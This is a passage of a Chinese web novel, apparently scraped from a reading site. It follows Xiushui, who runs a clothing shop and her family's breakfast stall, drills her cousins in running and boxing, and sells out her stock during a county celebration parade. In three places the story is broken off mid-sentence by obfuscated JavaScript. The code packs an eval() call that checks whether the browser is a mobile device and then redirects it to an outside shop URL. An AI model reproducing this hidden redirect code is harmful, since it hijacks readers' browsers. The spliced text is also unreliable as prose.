伍爱娜累得吃不下东西,奄奄一息地不说话,两人在车上相互依靠着睡着了。回到县城后,伍爱娜体力透支,连下车都是秀水连扶带扛弄下去的。喻庆山和刘瑞英骑着借来的三轮车等在车站里,几人把沉重的货物搬到车上,又让伍爱娜躺在衣服堆里,大家一起往家走。 “啊,我的脚!”路上伍爱娜不停哀嚎,“姨妈我的脚疼!姨爹我的腿疼!” “孩子怎么累成这样?”刘瑞英心疼地说,“中午就不晓得歇歇?” “没时间休息,”秀水趁机教育她,“明天你跟我跑步吧,不然就这小体格子,下回别拖我后腿!” 伍爱娜高高躺在几个袋子中间,毫无形象,无力反驳。 回家后,伍爱娜宛如一条死狗,上楼都是刘瑞英背的。秀水和喻庆山下完货,把饭菜端上去,发现伍爱娜早就在秀竹床上睡熟了。 第二天她呲牙咧嘴地起床,饿到发疯,艰难地挪下楼,连吃三个包子才有力气挪到服装店。看到秀水在店里熨衣服,伍爱娜表示万分佩服,“姐,你是铁打的吧?腿不疼吗?我昨天晚上差点死掉!现在全身都疼!” “走了一天,能不疼吗?”秀水说:“等会儿我给你揉揉腿!” 本想让她好好歇一天,伍爱娜却身残志坚,瘸着腿守在店里接待顾客,并提出搭配意见,“这件水红色的西装外套要搭那个短裙,港台明星都这样穿”“米色高腰裤配那件花衬衫好,再加条珍珠项链,不晓得好流行……” 趁着中午客人少,秀水终于腾出手,给伍爱娜揉了揉腿。她的手法当然很专业,上辈子没少被队医和保健医生操练,如今正好对伍爱娜实践一下。没想到稍微使了点劲,就把她疼得鬼哭狼嚎。刘瑞英听到动静跑过来看,心疼地说:“你小点劲儿!可怜的娃儿哪受过这种罪!” “劲儿小了没用!”秀水辣手无情,又在伍爱娜背上噼里啪拉地猛拍一通,伍爱娜发出悲惨的嚎叫,被秀水折磨得眼泪花花的,却觉得整个人清爽了不少。 等到她能正常走动了,忙到喻庆山称黄豆的磅秤上称了下自己的体重,发现自己轻了三斤,伍爱娜再次发出了欣喜的嚎叫。 32. 第 32 章 炎热的七月过去后,早餐店和服装店的营业逐渐恢复正常,没有以前那么多人了。但没多久家里的人口却多了起来,——怀安一中的学生结束了补课,喻秀竹欢天喜地回到家,刘文强也第一时间把儿子送了过来。 为了儿子的学业,刘文强难得地没有空手过来,还买了两斤鸡蛋糕。他把儿子和糕扔下,对秀竹和他姐殷殷叮嘱,“姐,竹子,我把子康交给你们了,好好给他补课,争取也像竹子一样考取一中!” 几句话交代完,他骑上摩托车就跑了。只留下背着书包的刘子康,在院里站着,瞅瞅刘瑞英,又瞅瞅秀竹。 “话都不说清楚就走了,哪儿有好酒好菜等着他呢,”刘瑞英不满地抱怨,又问刘子康:“书都带齐了?衣服带过来了没?”然后把他带到楼上,让他晚上跟喻庆山住,她则跟秀竹睡一床。 到傍晚,高晟也终于找来了。他骑着新款自行车,在小庙大道上左顾右盼,直到看见秀水豆腐包的招牌,才把车停靠在路边,欢快地跑进服装店大喊:“师父,我来了!” 同人不同命,高晟从江市回家后,还没来得及过来找师父,就被老师告了一状。他爹妈专程从邻县回来,对他进行了较为激烈的男女混合双打,然后夫妻双双把他押送到学校,并扬言“你就算要睡觉,也给老子趴在教室里睡”。高晟只好住进八中宿舍,每天到班上最后一排去睡觉。直到补课结束,他才真正解脱,第一件事就是急急忙忙过来找他师父。 放一只羊也是放,放一群羊也是放。秀水便把伍爱娜姐弟也拉进来,准备组个队带他们进行早锻炼。伍爱今听说要跟大姐跑步学拳,兴奋得上窜下跳;伍爱娜扬言起不了那么早,但听说跑步能减肥,也有了兴致。至于小胖子刘子康,无人在意他的意见。他人在屋檐下,是没有任何发言权的。 第二天六点钟,天色刚刚亮,早餐店的店门也才打开,高晟就骑着车来了。秀水已经整装完毕,正一脸暴躁地催促刘子康洗漱。几个人在院子里热身,随后伍爱娜姐弟才打着呵欠步行抵达。秀水简单整队完毕,便带领大家顺着水泥路朝前跑去,高高矮矮的几道身影很快就消失在朦胧的曙色中。 一个小时后,早餐店渐渐来了客人,刘瑞英正在擦桌子,抬头就见秀水一个人跑回来了,身姿轻盈得像头梅花鹿。刘瑞英忙问:“其他人呢?” “后面呢,”秀水不屑道:“一群小垃圾,完全带不动!” 然后她径直去里屋练拳去了,在院子里都能听到她把沙袋打得叭叭响。又等了好一阵,就见远远跑来一群残兵败将。伍爱今和秀竹先跑到的,一路狂喘着进了院子,做起了简单的拉伸。之后是高晟和伍爱娜,两个人一胖一瘦,各自喘得惊天动地,拖着腿跑到早餐店门口,一屁股坐在凳子上,把凳子坐得咯吱一响。 刘瑞英没看到刘子康,不由心焦,站在门前朝远处张望,又过了好一会儿,才看到刘子康迈着沉重的步伐,一边往家跑,一边嘤嘤地哭。刘瑞英又心疼,又好笑,忙说:“唉哟快来歇会儿!” “歇什么歇?”秀水从院子里出来了,板着脸对三个险些累死的人说:“起来走动!不然乳酸堆积,明天别想动了!” 伍爱娜爬不起来,喘着粗气说:“姐,我退出!我不减肥了!” “不同意!”秀水残忍地拒绝了她,“让你跟着批个货都能累瘫,你还想退出?给我练!” 几个人在胁迫声中艰难站起,去院子里做拉伸。然后每人都跟秀水做了几组俯卧开髋、弓箭步跳、扶墙送髋等训练,以增强髋部灵活性。秀水在旁纠正动作,非常冷酷无情,没人敢反抗。直到人人练得一脸猪肝色,早锻炼才告一段落。 伍爱今和刘子康爬进早餐店,一口气痛吃了好几个包子。高晟甚至想来碗肥肠粉,却被秀水制止了。秀水瞥他一眼,说:“全是虚肉,先减肥增肌!” 于是,本来早餐可以吃一碗粉和两个大包子的高晟,被安排了两个茶叶蛋一个包子。高晟含泪喝着无糖豆浆,对着肥肠粉直咽口水。同样垂涎肥肠粉的伍爱娜却主动管住了自己,发狠道:“我辛辛苦苦跑了那么久,不能白跑!我不吃!我坚决不吃!” 几个先后吃完早饭,秀水和伍爱娜去店里整理服装,喻秀竹则开始操练两个小弟了。她从姐姐带队的经验中得到启发,把脸板得严严实实的,见那两个小子磨磨蹭蹭不愿意进堂屋,她便厉喝一声“滚进来”,两个男孩子果然风风火火地滚了进来。 刘子康的胖脸蛋上满是愁苦,伍爱今则像个卖破烂的,——裤子破破烂烂,书包破破烂烂,连掏出来的课本都破破烂烂,活脱脱就是个学渣典型。 秀竹看得眼角直抽搐,没忍住朝他背上狠拍一巴掌,“你在吃书吗?课本怎么烂成这样?学习差也就算了,首先这个学习态度就不对!” 伍爱今缩着头,一声不敢吭。他在家可是被他妈、他姐经常毒打的,早已习以为常。坐在他对面的刘子康却被那一掌吓了一大跳,立刻加快了掏书本的动作。 堂屋的方桌上,秀竹沉着脸端坐中间,两个弟弟分居两侧,三人面前都摆满了书本和卷子。秀竹顺手抽出刘子康的试卷,看到上面红红的“58”分,没忍住也削了刘子康一巴掌。 “小学的数学有多难?啊?及格就这么难吗?给我重做一遍,我看看到底哪儿出了问题!” 刘子康嘤嘤嘤地咧嘴哭了起来。在院子里洗碗的刘瑞英忙准备去劝解。这可是她爹妈的心肝宝贝,要是知道在她家挨打了,还不杀过来兴师问罪? 但她还没动身,就被秀竹制止了。秀竹杀气腾腾地警告:“我劝某些人少管闲事!”还重点看了刘瑞英一眼。刘瑞英只好提心吊胆地继续洗碗。 然后秀竹沉声道:“再哭一声试试!一!二!” 还没数到三,嘤嘤声戛然而止,只余两声抽泣。刘瑞英忙撤回了伸出一半的脚。 等秀水出来,刘瑞英便悄声向她笑道:“想不到竹子还挺有老师样子的。我还怕她太文静了,掐不住两个调皮捣蛋的小子呢。” 秀水没说话,心想秀竹文静吗?装的,都是装的!谁家文静的小孩惹急眼了会拿砖头打人? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837078|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 秀竹考察了两个弟弟的学业,发现基础堪忧,便给他们重新布置作业。堂屋里很快安静下来,大家各自埋头做卷子。此情此景,搞得另一个学渣高晟很不自在。高晟硬着头皮在院里消食,好在秀水很快忙完服装店的事情,认真教了他几组拳击的基本步伐和拳法。高晟便在院子里独自练习。 这可把伍爱今给急坏了,他写两个字,便悄悄瞄一眼外面,巴不得出去和高晟一起比划比划。不料被他竹子姐看到,又削了一巴掌,“这是什么鬼画符?给我擦掉重写!” 伍爱今只好吭哧吭哧地擦掉刚写的作业,心痛又心灰,悲从中来,准备酝酿一点眼泪。转眼就见他姐又削了刘子康一巴掌,“你再玩橡皮试试!” 刘子康咧嘴想哭,秀竹指着他,暴躁地数数:“三!” 刘子康迅速闭嘴,只抽抽了两下。伍爱今也赶紧把还没挤出来的眼泪收了回去。 等做完一张试卷,两个孩子的脸色都是灰败的。他们垂手站在秀竹身后,小心翼翼等待她批改作业,已经预见到接下来的生活有多悲惨。 两小时的作业折磨结束了,到了玩耍时间。秀竹去厨房准备午餐,两个男孩这才满血复活。伍爱今模仿高晟练了会儿拳,又偷摸地掏出弹珠,和刘子康一起趴在地上,愉快地打起了弹珠。 高晟苦练半天,挥汗如雨,觉得很是枯燥无趣,想走却又有点舍不得。这时就见秀水从服装店的后门探出头,对院里或站或蹲或趴的三个人说:“都到厨房帮忙去,别擎等着吃饭!” 一声令下,三人只好都去了厨房,和秀竹一起做饭。高晟看到有鱼,又决定等吃完饭再走,省得他一个人回家还要找饭辙。 中午的饭菜很丰盛。家里吃饭的人多,且都是长身体的孩子,刘瑞英虽然心疼钱,却也肯在吃上面花些钱财了。排骨固然舍不得买,但早上她让喻庆山割了些五花肉,又买了一堆一指长的小鱼,家里又有现成的鸡蛋豆腐,秀竹便用这些食材折腾出了好几个花样。青菜炒豆腐、蒸鸡蛋、辣椒小炒肉、肉丸冬瓜汤和香煎小鱼等等,红的绿的白的摆了一大桌子。 忙一上午,大家都饿了,陆续围着大方桌坐定,各自甩开膀子大块朵颐。饭虽然是秀竹做的,但择菜和剁肉男孩子们也参与了,所以吃得格外香。饭后几个人又在秀水指挥下,洗碗的洗碗,抹桌子的抹桌子,很快就把堂屋和厨房收拾好了。就连在家身娇肉贵的刘子康,到了这里也要帮着拖地。 “下午有了空,等我来教你三截棍法。”秀水说着,径直去楼上了。中午人少,她可以和伍爱娜换着午休一会儿。 这句话成功挽留住了高晟,甚至连伍爱今也停下了伺机溜走的脚步,扭头道:“大姐,我也想学。” 秀水在楼梯上低头,冷酷道:“下午作业做完了吗?做得好,我才教。” 伍爱今抓耳挠腮,决定中午不睡觉了,提前把作业写出来。于是满院里寂寂无声,刘子康和秀竹都去睡觉了,就连高晟也在堂屋的竹床上躺下了,只有悲催的伍爱今,还捏着笔为暑假作业而苦苦奋斗。 33. 第 33 章 对于跑步时被秀水远远甩开,高晟深以为耻。以前他总觉得自己身体杠杠的,力气大大的,走出去乃是顶天立地的一名好汉。没想到一世英名,竟然栽在跑步上面了,简直是可忍孰不可忍! 从那天起,高晟就每天六点去早餐店报道。跑步累,练拳苦,吃不饱饭,还得干活。按说这样的日子他最多只能坚持两天,谁知道每次想放弃时,总会有些莫名其妙的理由冒出来,让他又继续坚持下去了。 整个八月,院子里天天人欢马叫。清早秀水带他们跑完步,照例是要做开髋训练的。每逢此时伍爱娜和刘子康就叫得此起彼伏;稍后秀竹带两个小子做作业,堂屋里时常响起呵斥之声,间或夹杂着嘤嘤两声抽泣;上午秀水教高晟练拳,指导时难免会出言暴躁;下午是三截棍教学时间,院里不时响起惊叫声,那是伍爱今练习时不小心打到自己…… 至于做饭吃饭,那更是动静大得不得了。除喻庆山和刘瑞英之外,人人都要掌勺,每天中午贡献不同菜式。几个孩子甚至因此隐隐有了比拼之心。有的菜受人欢迎,主厨眉开眼笑;有的菜大受唾弃,主厨拼命推销无果,只能自己默默吃掉。 就连十一岁的刘子康都亲手贡献过一道凉拌黄瓜。他第一次使刀,那叫一个谨慎小心,一条黄瓜硬是切了十分钟。饶是如此,还把刘瑞英吓得不轻,小声对秀竹抱怨道:“他在家哪做过饭?要是把手切伤了,你舅妈那人又有话说……” 刘子康却对自己能参与其中很是自豪。他扬起胖脸蛋子,对刘瑞英说:“姑妈我会切,我慢点切,不会伤到手的!” 秀竹又朝她妈翻白眼,“听到没?他说他会切!我劝某些人少管闲事!” “好,好!不管就不管,”刘瑞英又要气又要笑,转身往外走时,听到厨房里惊叫连连也没回头。左不过是油温高了,锅起火了,又能出什么乱子?“只要你们不把厨房炸了,我以后再不管了,乐得吃现成的……” 连续十来天的运动训练卓有成效,在教他们如何调整步伐和呼吸后,高晟和伍爱今的速度很快就提了起来,可以紧缀在秀水后面跑个来回。伍爱今甚至忍痛牺牲了中午和晚上的游乐时间,每次都提前把作业做出来,只为了让秀竹批改后,及时参与拳击课和三截棍的教学。 “看好了,今天教你们三套进攻型的组合拳,”没有拳击手套,秀水用布巾缠着手,给高晟和伍爱今做示范,“第一套,重复前直拳加后直拳;第二套,前直前直,后直加前摆……” 既然是示范,她打得就很慢。没想到这招致了伍爱今的不满。他跟着学了两天基础步伐,略为失望,觉得拳击根本没有武打片里的招式那么拉风,不由出言不逊:“大姐,你这根本都不帅!我一招白鹤亮翅,再一招黑虎掏心就能把你比下去!” 秀水居高临下地看着他,这小子!不教训教训他,他不知道花儿为什么这样红! “来,我就用刚才的招式和你对练。用什么亮翅也好,什么掏心也好,你随便来。”她说。 “那不行,你是大人,我是小孩!”伍爱今也不蠢,立刻寻了一块木板护在胸前,“这样还差不多!” 高晟在旁边看着他,眼神怜悯。兄弟,你死定了!别人拿刀都没挡住,你拿块破木板,在这儿吓唬谁呢。 秀水体贴道:“准备好了吗?” “准备……”伍爱今的话还没说完,就见他姐已经欺近身来,出拳入风,一连串“彭彭彭彭”敲击在木板上,震得他手疼。最后一拳更是轻松击穿木板,拳头停在伍爱今的下颌处,带来了凛凛杀气。 伍爱今目瞪口呆,根本没看清他姐是怎么出拳的。片刻后他扔掉裂成两半的木板,一个滑跪抱住秀水的大腿,“大姐,教我教我!” 秀水踢踢小弟,说:“我这根本都不帅,肯定比不过你的亮翅和掏心啊。” “不你帅!比武打片帅多了!”伍爱今嚎叫:“我要学,我要认真学!我什么时候才能打成你这样?” “看你造化了,格斗选手可不是人人都能的,”秀水得意地整理手上的布巾,道:“你得先从入门的拳法和步伐练起。基础不牢,地动山摇。任何动作要是打出去变了形,就失去了基本的攻击力……” 伍爱娜在服装店后门口旁观了全程,也很受震撼,跃跃欲试地想参与一下。不过观望片刻后她就迅速放弃了。为了美丽,她付出了那么多。早上跑步要戴帽子,跑完要拉伸半个小时之久。又怕晒黑了,又怕小腿长出肌肉影响美观。要是为了学拳再把胳膊练粗了,她可是万万不肯的。 她本来对自己已经超级满意了,但在暑假结束的前一天却受到了沉重打击。起因是喻庆山称完黄豆,把磅秤放在院子里,伍爱娜上去称了下,惊喜地发现自己又成功减重两斤。她忙兴高采烈地四处宣扬这一喜讯,谁知其他人陆续都上去称了下,每个人都瘦得比她多。高晟那家伙甚至瘦下来快十斤了。 伍大小姐不由得很委屈、很不服气了,愤愤不平地嚷嚷:“凭什么!凭什么!我没跑步吗?我没少吃吗?为什么我只瘦两斤?” “他是大基数体重,你是小基数,本来就不一样,你已经很健康了。”秀水安慰她:“而且他除了跑步还练拳,减这么多不是很正常吗?” 高晟看着体重秤上的数字,也不敢相信,还觉得是不是秤不准。秀竹说:“动动你的脑子!这可是我爸买黄豆的秤!要是显示的重量比实物要轻,那我家岂不是吃了大亏?” 等到八月底,刘文强终于来接儿子了。刘子康觉得自己刑满释放,喜笑颜开地和大家挥手告别,坐他爸的摩托车走了。伍爱今则喜忧参半,喜的是不用再挨他竹子姐的巴掌,忧的是上了学就没办法缠着大姐教他拳法了。 至于高晟,完全不想回学校。他宁肯每天顶着烈日跑步打拳,也好过趴在教室里睡觉。秀水见他闷闷不乐,忍不住给了他一条明路:“你干嘛不学体育呢?有你这个劲头,什么练不出来?你们学校就没有体音美专业吗?” 高晟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841596|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被她一提醒,立刻就兴奋了,“对哦,我怎么没想到!”他们班确实有两个美术生,至于有没有学体育的,还得回校问问老师。模糊记得学校操场上经常有人搞训练,多半也是有的。 于是高晟也满怀期待地走了。到八月三十,秀竹也回学校后,坚守阵地的只剩下伍爱娜了。 伍爱娜一想到要去上学就可舍不得了。开学前的那几天她经常在服装店呆到半夜,有时甚至就和秀水睡在一起。在两人日以继夜的忙碌下,服装店的秋装也挂了出来。墙上陈列着一套套搭配好的服装,西装配牛仔、长袖衬衫配高腰裤、收腰花衬衫配黑色健美裤、蝙蝠袖线衫配短裙……看着姹紫嫣红、琳琅满目。 秀水给了伍爱娜二百块钱,算是这段时间以来的报酬。伍爱娜死活不要,“我妈要是知道了,肯定得说我不懂事!” “这是你应得的报酬。”秀水说:“以后你放假就过来帮忙,到了寒假我还请你,咱俩一起去进货!” 伍爱娜欢天喜地地答应了,拗不过她姐,最后还是拿着钱回家了,甚至因此不想上学,反正她对财校的课程一点兴趣也没有,干脆就缀学跟着她姐卖衣服好了。 “你给我老实点!”刘兰英听她说完,就把钱没收了,还收拾了她一顿。当然没舍得真打,只是狠狠骂了一通,“你姐那是没办法,初中读完就回家了,如今才当个体户卖服装。等你财校毕业,叫五爷爷和你爸好好给你谋一谋,规规矩矩找个单位上班去!别再东想西想的,听到没有?” 然后刘兰英风风火火去了店里,准备把钱还给秀水,现在全家人都穿着她店里的衣服,怎么好意思再拿钱哪。路上又想,个体户虽然挣钱,挣的也都是辛苦钱,况且社会地位也没有工人高,走出去不够受人尊敬。伍爱娜不懂事,当家长的可得为她好好规划前程才行。 伍爱娜被她妈打消妄念,只好噘着嘴上学去了。开学第一天,她顶着精心卷了一夜的卷发,穿着水红短袖衬衫,配一条石青牛仔裤,戴着塑料珍珠项链,打扮得油光水滑的,骑着凤凰牌女车去学校。上学前,她先绕到豆腐包店门前,朝里张望。 “姨爹,”她用腿支着自行车,不满地说:“怎么我姐还没开店门?这都几点了?” 墙上的挂钟刚刚七点,喻庆山边收拾餐桌边说:“你姐还在后头练拳呢,说早上没生意,八点多再开店也来得及。” “太懒了吧,”伍爱娜皱眉,说:“你跟我姐说,叫她早点开门!” 喻庆山答应了,给她装了几个包子和茶叶蛋,说:“带着到学校吃。快走吧小心上学迟到!”伍爱娜这才恋恋不舍地骑车走了。 等秀水练完拳、洗了澡过来开服装店的门时,喻庆山笑呵呵地转达了伍爱娜的意见,秀水非常无语。 她觉得自己已经够卷了,没想到碰到老喻和瑞英这号卷人,充其量她也只能算小卷。这就算了,如今竟连娇滴滴的伍爱娜都说她懒!竟然还让她七点就开店门!开着门干嘛?在里面打苍蝇吗? 34. 第 34 章 刚进九月,天气还热得很,厚秋装外套基本卖不动。一整天,店里都没啥生意,只有两个从县城里来的人,听说这里卖的好棉绸裙子,特意过来买了两条。早餐店的生意也比之前大幅回落,让习惯了忙碌的刘瑞英很是无聊。 “哎,要是咱家生意一直像前几天那样就好了……”她惆怅地感叹,尤其怀念之前每晚数钱的感觉。 因为生意淡,喻庆山忙完早上那一阵,就骑车回去红英村了。早餐店刚开张那阵子,两口子根本顾不上田里的庄稼,幸好有喻庆海照应着,几亩田才算没有荒芜。如今闲下来了,喻庆山和刘瑞英便时常替换着回老家,照管家里的水稻黄豆花生,偶尔也在那边买些黄豆驼回来。 到了傍晚,看着路边没什么人,秀水便把店门也关了,准备进去做晚饭。谁知刚落下卷闸门,就听外面有人喊,她忙又把门帘卷起来,原来是伍爱娜回来了。 “姐,我走时你还没开门,等我回来,你又关门了,”伍爱娜不满地嚷嚷,“哪有像你这样做生意的……” 秀水忍气吞声地没说话。她难得早关一回门,就被伍爱娜赶上了,只能算自己倒霉。看伍爱娜叨叨个没完,只好解释:“眼看天快黑了,开着门浪费电。你怎么不回家?跑过来干啥?” “快点!”伍爱娜总算想起了正事,兴冲冲地进了店,“按照这张纸上的号码,把牛仔裤都挑出来!” 原来,她上学第一天,就在班上推销出去十来条牛仔裤。哪个少女不爱美?看到伍爱娜穿着新新的牛仔裤,班上和隔壁班的女孩们岂能不动心?这年头,和好朋友穿同款衣服,不仅不会有撞衫的尴尬,反而会有成为某个团队的欣喜。看到大家都想买,伍爱娜便尽职尽责,把每个女孩的衣服号码都记了下来,晚上连家都没回,半路就拐到服装店,第一时间把这个消息告诉了秀水。 秀水当然也喜出望外,两人忙找齐了牛仔裤,搭手熨烫整齐,还搭配了不同颜色的衬衣,准备让伍爱娜带去给同学试穿。财校的学生,很多人家庭都比较宽裕,要是穿得好看,多半会连上衣也留下。 “姐,等天冷点,我就穿秋装去学校,她们绝对会疯抢!”伍爱娜说着,简直一刻也等不及了,抱怨道:“怎么还不冷?都九月份了,太阳还这么大,真烦人哪!” 就这么着,开学前两天,服装店的生意主要靠伍爱娜,倒也陆续推销出十几套。又过两天,忽然到处都传开了消息,平安县撤县建市的日子确定了,就在十月一号,到时全县要举办庆典! 消息是伍五叔从县里听说后,又传达到小庙村。村民们都为此激动不已。为什么呢?自然是因为,据说庆典仪式要放在新修好还没通车运营的长途客运站举行,那不就相当于在自家门口吗? 庆祝活动要举办整整一天,上午是县里各单位、各企业举行游行活动,游行路线都划好了,从县委县政府门口开始,绕主城区一圈,然后通过小庙大道,抵达新修的客运站。下午则是各乡镇组成庆祝队伍,届时还会有拉犟驴、舞龙舞狮等民俗表演活动。晚上还会在小庙村这一带放烟花,比过年都热闹。 各个单位和学校顿时都忙碌起来,排练着游行的方阵。小庙村的村民们则被组织起来,沿着新马路打扫卫生。路两边还没完工的楼房也都加快了进度,要赶在庆典之前完工,以良好的市容市貌迎接庆典的到来。 早餐店的生意又好了起来。因为路上来来去去的人突然变多了。来干活的、来检查工作的,甚至路过的,无论是谁,都要吃饭。秀水豆腐包的门店招牌那么大,老远都能看到,店里也干干净净的,谁不愿意进来吃个早饭呢?连着好几天,喻庆山和刘瑞英又忙得脱不开身了。 伍爱娜却是再没时间来服装店了。她被学校选中,光荣地成为财校游行队伍中的一员。本来因为她长得漂亮,气质又好,被老师们推荐站了C位,也就是第一排的中间位置。伍爱娜为此兴奋得要命,每天都不辞劳苦地在操场上训练。没想到几天后却被调换到了旁边,因为有校领导觉得,她那个单眼皮不符合大众审美,要选个更漂亮的女孩来代表财校形象。 伍爱娜气得在家嗷嗷地哭了一场,差点罢演,后来想想,到底还是舍不得,依旧早出晚归地训练去了。 想到即将到来的庆典,秀水在九月中旬又独自去了江市一趟,到服装批发市场大补特补了一批货。除了秋装外套、秋衣秋裤,她还把一直卖得很好的的确良长袖衬衣批发了两百来件。那可是全县的庆典!人山人海的,她的服装店就在游行路线旁边,怎么可能没有生意啊? 就在各种忙碌中,转眼到了九月底。庆典的前一天傍晚,秀竹从学校放假回来了。喻庆华和喻庆海两口子也都来了。刘瑞英提前托人带了信,让他们都到家里来玩,他们家离庆典现场近,看戏看热闹都方便。刘文强还骑着摩托,把老爹老娘也送过来了。 刘其山老两口住刘兰英家,喻庆华等人则住刘瑞英家。家里房子大,怎么都够住。刘瑞英欢天喜地给他们铺床,蒋士芳等人也帮着忙前忙后,大家热热闹闹地吃了晚饭,聊着第二天的庆典,都很兴奋。 当晚秀水特意提醒了喻庆山,让他把各种食材准备得充分些。喻庆山便狠狠心,多泡了十五斤黄豆。刘瑞英也额外多和了一盆面。第二天,两人比平时早一个小时就起了床,打豆浆、压豆腐、做包子。天刚蒙蒙亮,就把店门打开了。 平时空寂的马路上,这时影影绰绰的竟有了不少人。门刚打开,就陆续有人进店里吃早饭了。稍后喻庆华和蒋士芳听到动静,也去帮忙。趁着早上不太忙,大家都提前吃了点早饭垫垫肚子。喻庆山也赶紧把瘦肉臊子炒好了。然后,大家眼睁睁地看着路边的人越来越多了。 全县的人似乎都涌出来了,路两边全是人。他们一边引颈眺望,一边兴奋地讨论着。尤其小庙大道的长途客运站是游行终点,这里是看热闹最理想的地点。驻足等候的人也最多。很快,路两边就站了里三层外三层。警察们也来维护秩序,每隔几米就站着一个警察,不准人随意在路上穿行。 早餐店里,每张桌子都坐满了人。来吃饭的人太多,很多人都不耐烦地催促着。喻庆海把后院的条凳和椅子全搬了出来,摆在店门外的路边。便有人坐在条凳和椅子上,一手包子一手豆浆地吃着早饭。 所有人都忙得脚不点地。喻庆山不停地下粉下面,喻庆华在旁边帮着盛豆浆豆腐脑,外带煮豆渣合菜。秀竹和刘瑞英给顾客端包子,兼带收钱找零。也幸好有秀竹在,她算账快,收钱找零也快,不然刘瑞英根本忙不过来。 桌子上的人刚吃完,便又有人坐下等着了。刘瑞英快手快脚地把桌子收抹干净,把碗筷拿到后院。蒋士芳和喻庆海便挽着袖子洗碗。两人在洗碗盆前坐下后,便跟生了根似的,再也没有空站起来。 大清早,一墙之隔的服装店也人满为患。大多数人起初只是进来逛逛,看到明码标价的衣服,不由就动了心。店里喊叫声此起彼伏,有喊秀水拿衣服的,有问价格的,也有认出她来,跟她打招呼的。秀水一个人照看着偌大店面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844745|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不停地找衣服、挂衣服,还要提防有人混水摸鱼,真是长一百双眼睛都忙不过来。 正忙得昏头涨脑,忽然听到外头隐隐传来锣鼓声,店里的人顿时呼拉拉全都涌了出去。 秀水趁机喘了口气,也站在自家门店前朝远处眺望。只见乌压压的人潮从城里涌出来,散入了小庙大道两边。路中间走来了游行队伍,第一方阵的姑娘小伙子们统一穿着带条纹的蓝色运动服,排着整齐的队伍,根据指挥的节奏喊着口号,不时挥舞着手中的塑料花束。 “是师范的学生!”有眼尖的看到牌子上的字,兴奋地喊:“县师范的学生!长得可真齐整哪!” “马上就不是县师范啦,要成市师范啦。”有人笑着说,顿时引起一片哄笑。 师范学校的后面,紧跟着县里各单位和学校的方阵,无不是统一着装,精神焕发。 “跟亚运会的运动员一样!”有人伸着脖子赞叹。 “亚运会都没有我们好看!”也有人自豪地点评,“看!来了一群穿古装的,好漂亮……” 一浪浪的游行队伍,走了大半个小时。其中财校方阵从门前经过时,伍为民等人终于看到了伍爱娜,都笑得见牙不见眼。就见伍爱娜的卷发变成了清爽的高马尾,打着红腮红,画着蓝眼影,站在一个高个子、双眼皮大眼睛的姑娘旁边,喜气洋洋地经过伍老爹等人的面前,又目不斜视地朝前走了。 看完热闹的人还意犹未尽,守在路边议论着哪个方阵的服装最好看,哪个单位的女孩最好看,顺便等候下午的民俗表演和晚上的烟花。也有人趁此机会,就近吃个饭逛一逛。早餐店的生意又重新忙碌起来,服装店里也迅速挤满了人。 中午刘瑞英根本没时间做饭,即使做了大家也没时间吃。店里的粉和面早就卖得精光,幸好包子蒸得多,还能抵挡一阵子。喻庆山赶紧又去厨房的大灶上重新烫粉烫面,又委托伍为民骑自行车买几板豆腐来,——现泡黄豆做豆腐显然是来不及了。刘瑞英又和了两盆面,急赶急地重新发面做包子。大家里里外外忙活的时候,饿了就顺手朝嘴里塞点东西吃。 秀水则是根本没时间进厨房,甚至上厕所都没时间。谢天谢地,庆典仪式结束后,伍爱娜连妆都没卸就跑来了,一进店,看到满满的人就兴奋了。 “姐,我洗个脸就过来。”她冲到后院去洗脸,片刻后回来,秀水赶紧把手里的衣服塞给她,“我去上个厕所,可憋死我了!” 上半天过去后,所有人都声嘶力竭、筋疲力尽。刚歇了口气,他们就迎来了下午的游行。 下午的观众甚至比上午更多,因为来了好些乡镇的人。大家各显身手,有坐拖拉机来的,有骑自行车来的。把车停下后,他们呼朋唤友,逛起了新修的小庙大道,在路两旁新开的店铺附近流连往返。 秀水和伍爱娜只抽空吃了个包子,就又忙着招呼顾客。到后来,刘兰英也来帮忙了。她守在试衣间旁边,把别人拿了几件衣服默记在心,等人出来时,就要及时清点衣服数量,以免有人偷窃。试衣间的人排起了长龙,有人不耐烦等,就在外面试起了外套。镜子前也挤满了人。每逢有人在镜子前站的时间长了,便会遭到其他人的催促。 好多从乡镇过来的人,进服装店后,看着这里的衣服质量好,价格也便宜,一买就是好几件。也有人只是从这里经过,本是挤进来看热闹的,看到别人抢购,自己不买似乎就吃了亏似的,也赶忙跟着买上两件。到了晚上,库存的服装卖得磬净,只衣架上稀稀拉拉挂了几件。 35. 第 35 章 